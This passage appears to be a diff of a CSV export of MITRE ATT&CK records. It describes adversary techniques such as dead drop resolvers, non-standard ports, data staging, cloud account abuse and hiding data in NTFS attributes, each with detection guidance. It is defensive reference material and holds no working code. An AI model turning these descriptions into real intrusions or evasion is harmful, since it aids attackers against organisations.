sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1102/001', 'external_id': 'T1102.001'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T22:24:21.841Z,2020-03-26T23:12:30.499Z,Dead Drop Resolver,"Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. -Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7,attack-pattern,['command-and-control'],2020-03-26T23:12:30.499Z,2020-03-14T22:24:21.841Z,Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2),"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1571', 'url': 'https://attack.mitre.org/techniques/T1571'}, {'source_name': 'Symantec Elfin Mar 2019', 'url': 'https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage', 'description': 'Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.'}, {'source_name': 'Fortinet Agent Tesla April 2018', 'url': 'https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html', 'description': 'Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,False,https://attack.mitre.org/techniques/T1571,mitre-attack,T1571,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Non-Standard Port,"Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.",attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18,attack-pattern,['command-and-control'],2020-03-26T22:02:25.221Z,2020-03-14T18:18:32.443Z,"Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1074.002', 'url': 'https://attack.mitre.org/techniques/T1074/002'}, {'source_name': 'Mandiant M-Trends 2020', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.1,True,https://attack.mitre.org/techniques/T1074/002,mitre-attack,T1074.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remote Data Staging,"Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. +Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",['command-and-control'],https://attack.mitre.org/techniques/T1102/001,mitre-attack,T1102.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2),True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1571', 'external_id': 'T1571'}, {'source_name': 'Symantec Elfin Mar 2019', 'description': 'Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.', 'url': 'https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage'}, {'source_name': 'Fortinet Agent Tesla April 2018', 'description': 'Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.', 'url': 'https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T18:18:32.443Z,2020-03-26T22:02:25.221Z,Non-Standard Port,"Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.",['command-and-control'],https://attack.mitre.org/techniques/T1571,mitre-attack,T1571,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1074/002', 'external_id': 'T1074.002'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}]",1.1,attack-pattern,attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T21:14:58.206Z,2021-03-08T10:33:02.019Z,Remote Data Staging,"Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020) -By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.",attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0,attack-pattern,['collection'],2021-03-08T10:33:02.019Z,2020-03-13T21:14:58.206Z,"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. +By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.",['collection'],https://attack.mitre.org/techniques/T1074/002,mitre-attack,T1074.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['File: File Access', 'File: File Creation', 'Command: Command Execution']",,"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. -Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['File: File Access', 'File: File Creation', 'Command: Command Execution']",['Praetorian'],,,"['Windows', 'IaaS', 'Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1074.001', 'url': 'https://attack.mitre.org/techniques/T1074/001'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,True,https://attack.mitre.org/techniques/T1074/001,mitre-attack,T1074.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Local Data Staging,"Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.",attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c,attack-pattern,['collection'],2020-05-26T19:23:54.854Z,2020-03-13T21:13:10.467Z,"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. +Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",True,,"['Windows', 'IaaS', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1074/001', 'external_id': 'T1074.001'}]",1.0,attack-pattern,attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T21:13:10.467Z,2020-05-26T19:23:54.854Z,Local Data Staging,"Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.",['collection'],https://attack.mitre.org/techniques/T1074/001,mitre-attack,T1074.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Access', 'File: File Creation', 'Command: Command Execution']",,"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. -Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['File: File Access', 'File: File Creation', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1078.004', 'url': 'https://attack.mitre.org/techniques/T1078/004'}, {'source_name': 'AWS Identity Federation', 'url': 'https://aws.amazon.com/identity/federation/', 'description': 'Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020.'}, {'source_name': 'Google Federating GC', 'url': 'https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction', 'description': 'Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020.'}, {'source_name': 'Microsoft Deploying AD Federation', 'url': 'https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs', 'description': 'Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",1.2,True,https://attack.mitre.org/techniques/T1078/004,mitre-attack,T1078.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Cloud Accounts,"Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation) +Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1078/004', 'external_id': 'T1078.004'}, {'source_name': 'AWS Identity Federation', 'description': 'Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020.', 'url': 'https://aws.amazon.com/identity/federation/'}, {'source_name': 'Google Federating GC', 'description': 'Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020.', 'url': 'https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction'}, {'source_name': 'Microsoft Deploying AD Federation', 'description': 'Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs'}]",1.3,attack-pattern,attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:36:57.378Z,2021-10-18T17:48:05.659Z,Cloud Accounts,"Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation) -Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.",attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65,attack-pattern,"['defense-evasion', 'persistence', 'privilege-escalation', 'initial-access']",2021-03-16T12:45:15.399Z,2020-03-13T20:36:57.378Z,"Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,,"['User', 'Administrator']","['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1564.004', 'url': 'https://attack.mitre.org/techniques/T1564/004'}, {'url': 'https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea', 'description': 'Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.', 'source_name': 'SpectorOps Host-Based Jul 2017'}, {'url': 'https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/', 'description': 'Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.', 'source_name': 'Microsoft NTFS File Attributes Aug 2010'}, {'url': 'http://msdn.microsoft.com/en-us/library/aa364404', 'description': 'Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.', 'source_name': 'Microsoft File Streams'}, {'url': 'https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/', 'description': 'Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.', 'source_name': 'MalwareBytes ADS July 2015'}, {'url': 'https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/', 'description': 'Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.', 'source_name': 'Microsoft ADS Mar 2014'}, {'url': 'http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html', 'description': 'Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.', 'source_name': 'Journey into IR ZeroAccess NTFS EA'}, {'url': 'https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/', 'description': 'Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.', 'source_name': 'Oddvar Moe ADS1 Jan 2018'}, {'url': 'https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/', 'description': 'Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.', 'source_name': 'Oddvar Moe ADS2 Apr 2018'}, {'url': 'https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore', 'description': 'Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.', 'source_name': 'Symantec ADS May 2009'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1564/004,mitre-attack,T1564.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,NTFS File Attributes,"Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) +Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.","['defense-evasion', 'persistence', 'privilege-escalation', 'initial-access']",https://attack.mitre.org/techniques/T1078/004,mitre-attack,T1078.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jon Sternstein, Stern Security']","['Logon Session: Logon Session Metadata', 'User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,"Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.",True,"['User', 'Administrator']","['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/004', 'external_id': 'T1564.004'}, {'source_name': 'SpectorOps Host-Based Jul 2017', 'description': 'Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.', 'url': 'https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea'}, {'source_name': 'Microsoft NTFS File Attributes Aug 2010', 'description': 'Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.', 'url': 'https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/'}, {'source_name': 'Microsoft File Streams', 'description': 'Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/aa364404'}, {'source_name': 'MalwareBytes ADS July 2015', 'description': 'Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.', 'url': 'https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/'}, {'source_name': 'Microsoft ADS Mar 2014', 'description': 'Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.', 'url': 'https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/'}, {'source_name': 'Journey into IR ZeroAccess NTFS EA', 'description': 'Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.', 'url': 'http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html'}, {'source_name': 'Oddvar Moe ADS1 Jan 2018', 'description': 'Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.', 'url': 'https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/'}, {'source_name': 'Oddvar Moe ADS2 Apr 2018', 'description': 'Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.', 'url': 'https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/'}, {'source_name': 'Symantec ADS May 2009', 'description': 'Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.', 'url': 'https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore'}]",1.0,attack-pattern,attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:33:00.009Z,2020-03-29T22:46:56.308Z,NTFS File Attributes,"Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) -Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)",attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5,attack-pattern,['defense-evasion'],2020-03-29T22:46:56.308Z,2020-03-13T20:33:00.009Z,"Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) +Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)",['defense-evasion'],https://attack.mitre.org/techniques/T1564/004,mitre-attack,T1564.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Oddvar Moe, @oddvarmoe', 'Red Canary']","['Process: OS API Execution', 'File: File Metadata', 'File: File Modification', 'Command: Command Execution']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection']","Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. -The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)","['Process: OS API Execution', 'File: File Metadata', 'File: File Modification', 'Command: Command Execution']","['Oddvar Moe, @oddvarmoe', 'Red Canary']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection']",,['Windows'],,,,['NTFS partitioned hard drive'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1564.003', 'url': 'https://attack.mitre.org/techniques/T1564/003'}, {'source_name': 'PowerShell About 2019', 'url': 'https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1', 'description': 'Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.'}, {'url': 'https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/', 'description': 'Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', 'source_name': 'Antiquated Mac Malware'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1564/003,mitre-attack,T1564.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Hidden Window,"Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. +The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: 